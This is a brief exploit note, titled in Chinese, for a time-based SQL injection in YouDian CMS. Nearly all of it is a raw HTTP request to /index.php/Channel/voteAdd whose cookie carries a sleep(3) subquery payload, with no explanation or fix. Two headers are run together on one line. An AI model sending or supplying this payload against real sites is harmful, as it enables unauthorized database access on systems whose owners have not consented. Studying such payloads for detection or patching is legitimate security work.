YouDiancms延时注入漏洞

Payload

GET /index.php/Channel/voteAdd HTTP/1.1
Host: localhostContent-Length: 2
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: youdianfu0=exp;youdianfu1==(select 1 from(select sleep(3))a)
Connection: close